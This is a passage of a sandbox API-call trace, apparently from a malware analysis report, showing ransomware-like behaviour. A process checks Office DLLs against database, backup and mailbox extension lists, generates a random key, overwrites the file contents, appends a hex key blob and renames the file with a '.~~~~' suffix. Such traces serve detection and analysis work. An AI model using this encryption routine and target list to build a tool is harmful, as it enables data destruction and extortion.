	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".SDF") returned 0x0
	[0081.689] lstrlenW (lpString=".dtxs") returned 5
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dtxs") returned 0x0
	[0081.689] lstrlenW (lpString=".db3") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".db3") returned 0x0
	[0081.689] lstrlenW (lpString=".OST") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".OST") returned 0x0
	[0081.689] lstrlenW (lpString=".dbx") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dbx") returned 0x0
	[0081.689] lstrlenW (lpString=".DB3") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DB3") returned 0x0
	[0081.689] lstrlenW (lpString=".DAT") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DAT") returned 0x0
	[0081.689] lstrlenW (lpString=".VHDX") returned 5
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".VHDX") returned 0x0
	[0081.689] lstrlenW (lpString=".ndf") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".ndf") returned 0x0
	[0081.689] lstrlenW (lpString=".DB") returned 3
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DB") returned 0x0
	[0081.689] lstrlenW (lpString=".sql") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".sql") returned 0x0
	[0081.689] lstrlenW (lpString=".MYD") returned 4
	[0081.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".MYD") returned 0x0
	[0081.690] lstrlenW (lpString=".DBT") returned 4
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DBT") returned 0x0
	[0081.690] lstrlenW (lpString=".ACCDB") returned 6
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.690] lstrlenW (lpString=".fdb") returned 4
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".fdb") returned 0x0
	[0081.690] lstrlenW (lpString=".bak") returned 4
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".bak") returned 0x0
	[0081.690] lstrlenW (lpString=".myd") returned 4
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".myd") returned 0x0
	[0081.690] lstrlenW (lpString=".DTXS") returned 5
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".DTXS") returned 0x0
	[0081.690] lstrlenW (lpString=".ckp") returned 4
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".ckp") returned 0x0
	[0081.690] lstrlenW (lpString=".dbt") returned 4
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".dbt") returned 0x0
	[0081.690] lstrlenW (lpString=".db") returned 3
	[0081.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".db") returned 0x0
	[0081.690] lstrlenW (lpString=".TXT") returned 4
	[0081.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".TXT") returned 0x0
	[0081.691] lstrlenW (lpString=".MDF") returned 4
	[0081.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".MDF") returned 0x0
	[0081.691] lstrlenW (lpString=".bdb") returned 4
	[0081.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".bdb") returned 0x0
	[0081.691] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.691] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0081.692] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.692] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.692] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20168231036) returned 1
	[0081.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a8c1dd0, dwHighDateTime=0x1d60e1e)) 
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe520
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe520 | out: hHeap=0x300000) returned 1
	[0081.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.693] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.693] GetLastError () returned 0x0
	[0081.693] GetLastError () returned 0x0
	[0081.693] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.693] GetLastError () returned 0x0
	[0081.693] GetLastError () returned 0x0
	[0081.693] ReadFile (in: hFile=0x124, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x47a0, lpOverlapped=0x0) returned 1
	[0081.698] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffb860, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.698] WriteFile (in: hFile=0x124, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x47a0, lpOverlapped=0x0) returned 1
	[0081.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0081.698] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.698] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.698] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.698] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.698] CloseHandle (hObject=0x124) returned 1
	[0081.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398d38
	[0081.699] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.~~~~")) returned 1
	[0081.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.699] GetLastError () returned 0x0
	[0081.700] RtlWakeConditionVariable () returned 0x365f70
	[0081.700] GetCurrentThreadId () returned 0xaf0
	[0081.700] GetCurrentThreadId () returned 0xaf0
	[0081.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0081.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc118 | out: hHeap=0x300000) returned 1
	[0081.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe558 | out: hHeap=0x300000) returned 1
	[0081.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0081.700] lstrlenW (lpString=".scr") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".scr") returned 0x0
	[0081.700] lstrlenW (lpString=".cmd") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".cmd") returned 0x0
	[0081.700] lstrlenW (lpString=".dll") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dll") returned 0x0
	[0081.700] lstrlenW (lpString=".bat") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".bat") returned 0x0
	[0081.700] lstrlenW (lpString=".cpl") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".cpl") returned 0x0
	[0081.700] lstrlenW (lpString=".sys") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".sys") returned 0x0
	[0081.700] lstrlenW (lpString=".msc") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".msc") returned 0x0
	[0081.700] lstrlenW (lpString=".com") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".com") returned 0x0
	[0081.700] lstrlenW (lpString=".lnk") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".lnk") returned 0x0
	[0081.700] lstrlenW (lpString=".msp") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".msp") returned 0x0
	[0081.700] lstrlenW (lpString=".pif") returned 4
	[0081.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".pif") returned 0x0
	[0081.700] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.702] lstrlenW (lpString=".sqb") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".sqb") returned 0x0
	[0081.702] lstrlenW (lpString=".ost") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".ost") returned 0x0
	[0081.702] lstrlenW (lpString=".txt") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".txt") returned 0x0
	[0081.702] lstrlenW (lpString=".mdt") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".mdt") returned 0x0
	[0081.702] lstrlenW (lpString=".BDB") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".BDB") returned 0x0
	[0081.702] lstrlenW (lpString=".eql") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".eql") returned 0x0
	[0081.702] lstrlenW (lpString=".DBF") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DBF") returned 0x0
	[0081.702] lstrlenW (lpString=".EQL") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".EQL") returned 0x0
	[0081.702] lstrlenW (lpString=".FDB") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".FDB") returned 0x0
	[0081.702] lstrlenW (lpString=".EDB") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".EDB") returned 0x0
	[0081.702] lstrlenW (lpString=".DACPAC") returned 7
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.702] lstrlenW (lpString=".VHD") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".VHD") returned 0x0
	[0081.702] lstrlenW (lpString=".DBV") returned 4
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DBV") returned 0x0
	[0081.702] lstrlenW (lpString=".dacpac") returned 7
	[0081.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dacpac") returned 0x0
	[0081.703] lstrlenW (lpString=".sdf") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".sdf") returned 0x0
	[0081.703] lstrlenW (lpString=".accdb") returned 6
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".accdb") returned 0x0
	[0081.703] lstrlenW (lpString=".DBX") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DBX") returned 0x0
	[0081.703] lstrlenW (lpString=".MDT") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".MDT") returned 0x0
	[0081.703] lstrlenW (lpString=".SQB") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".SQB") returned 0x0
	[0081.703] lstrlenW (lpString=".vhd") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".vhd") returned 0x0
	[0081.703] lstrlenW (lpString=".bac") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".bac") returned 0x0
	[0081.703] lstrlenW (lpString=".mdf") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".mdf") returned 0x0
	[0081.703] lstrlenW (lpString=".BAK") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".BAK") returned 0x0
	[0081.703] lstrlenW (lpString=".BAC") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".BAC") returned 0x0
	[0081.703] lstrlenW (lpString=".dbs") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dbs") returned 0x0
	[0081.703] lstrlenW (lpString=".vhdx") returned 5
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".vhdx") returned 0x0
	[0081.703] lstrlenW (lpString=".NDF") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".NDF") returned 0x0
	[0081.703] lstrlenW (lpString=".dat") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dat") returned 0x0
	[0081.703] lstrlenW (lpString=".DBS") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DBS") returned 0x0
	[0081.703] lstrlenW (lpString=".CKP") returned 4
	[0081.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".CKP") returned 0x0
	[0081.703] lstrlenW (lpString=".edb") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".edb") returned 0x0
	[0081.704] lstrlenW (lpString=".PST") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".PST") returned 0x0
	[0081.704] lstrlenW (lpString=".dbf") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dbf") returned 0x0
	[0081.704] lstrlenW (lpString=".SQL") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".SQL") returned 0x0
	[0081.704] lstrlenW (lpString=".pst") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".pst") returned 0x0
	[0081.704] lstrlenW (lpString=".dbv") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dbv") returned 0x0
	[0081.704] lstrlenW (lpString=".SDF") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".SDF") returned 0x0
	[0081.704] lstrlenW (lpString=".dtxs") returned 5
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dtxs") returned 0x0
	[0081.704] lstrlenW (lpString=".db3") returned 4
	[0081.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".db3") returned 0x0
	[0081.704] lstrlenW (lpString=".OST") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".OST") returned 0x0
	[0081.705] lstrlenW (lpString=".dbx") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dbx") returned 0x0
	[0081.705] lstrlenW (lpString=".DB3") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DB3") returned 0x0
	[0081.705] lstrlenW (lpString=".DAT") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DAT") returned 0x0
	[0081.705] lstrlenW (lpString=".VHDX") returned 5
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".VHDX") returned 0x0
	[0081.705] lstrlenW (lpString=".ndf") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".ndf") returned 0x0
	[0081.705] lstrlenW (lpString=".DB") returned 3
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DB") returned 0x0
	[0081.705] lstrlenW (lpString=".sql") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".sql") returned 0x0
	[0081.705] lstrlenW (lpString=".MYD") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".MYD") returned 0x0
	[0081.705] lstrlenW (lpString=".DBT") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DBT") returned 0x0
	[0081.705] lstrlenW (lpString=".ACCDB") returned 6
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.705] lstrlenW (lpString=".fdb") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".fdb") returned 0x0
	[0081.705] lstrlenW (lpString=".bak") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".bak") returned 0x0
	[0081.705] lstrlenW (lpString=".myd") returned 4
	[0081.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".myd") returned 0x0
	[0081.763] lstrlenW (lpString=".DTXS") returned 5
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".DTXS") returned 0x0
	[0081.763] lstrlenW (lpString=".ckp") returned 4
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".ckp") returned 0x0
	[0081.763] lstrlenW (lpString=".dbt") returned 4
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".dbt") returned 0x0
	[0081.763] lstrlenW (lpString=".db") returned 3
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".db") returned 0x0
	[0081.763] lstrlenW (lpString=".TXT") returned 4
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".TXT") returned 0x0
	[0081.763] lstrlenW (lpString=".MDF") returned 4
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".MDF") returned 0x0
	[0081.763] lstrlenW (lpString=".bdb") returned 4
